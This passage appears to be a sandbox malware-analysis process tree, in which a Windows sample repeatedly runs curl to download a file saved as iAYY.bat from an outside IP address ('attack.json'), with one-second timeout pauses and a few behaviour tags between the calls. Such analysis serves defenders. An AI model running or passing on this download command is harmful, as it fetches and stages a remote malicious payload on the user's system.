    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3720
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3292
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2192
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4552
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:64
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3492
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3392
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:992
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:5076
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3276
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3868
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3920
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4488
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:516
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2012
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1452
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4316
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2920
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4376
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1120
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4348
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5028
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1628
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4340
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4292
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3240
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2352
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2488
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4544
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4620
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4604
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5044
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2532
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3160
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4032
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4540
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1648
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5004
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1640
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1256
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4392
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3632
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:800
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4388
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4936
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5100
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:228
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3584
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4516
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1248
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4568
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3144
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2312
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3268
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1028
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3548
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1316
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4312
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4256
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4440
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1180
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2416
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4712
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4960
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:628
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2816
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3252
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4812
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4972
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3280
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4372
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1768
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1852
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1708
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3092
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1468
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1564
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1516
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3200
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4328
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2516
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3960
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:436
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4852
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2868
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4208
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4928
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1984
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4484
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3000
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:836
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1652
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1616
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:972
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1164
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1424
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4888
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1632
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4708
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4896
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3212
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3740
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1220
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3508
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2528
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2464
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1040
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3864
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1140
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3096
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3048
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1384
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3592
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2016
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1360
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4344
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:5108
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4552
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2568
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4816
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3812
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1192
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4548
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:632
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4284
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4800
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4488
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3336
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2012
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:392
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4316
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1720
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4376
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3528
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2924
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2120
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2864
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4948
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2116
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2444
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4308
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2188
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4560
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3228
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1388
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2896
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2884
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3312
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:684
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4624
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1956
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1216
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4156
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4684
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4056
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4088
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4940
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5052
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3672
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4152
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:912
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4844
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1248
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4568
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3144
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2312
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3268
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1028
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3548
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1316
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4312
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4256
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4576
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1732
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:532
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3176
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2928
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3236
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2036
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4608
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4728
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4028
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3628
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4200
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1768
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1852
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1308
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1556
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1520
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3500
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4456
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:868
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3564
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:724
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1620
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2760
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4776
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1484
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4628
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4108
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:880
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3504
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:364
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1908
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3328
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:916
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4784
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1820
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:692
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1052
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1068
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1204
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1512
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:488
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1340
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1324
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2436
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4536
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1828
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4952
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4924
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3752
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:740
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2040
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2440
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3996
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2604
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1360
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4344
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5108
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4552
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2568
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4816
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3812
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:992
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2008
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3276
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:896
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4800
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4488
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3336
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2012
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:392
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4316
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1720
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4376
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3528
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2924
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4580
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2216
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4292
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3976
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3240
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2352
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2116
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2444
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1032
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5036
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:452
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2532
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:5016
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2072
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4092
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3420
- - C:\Windows\system32\curl.exe
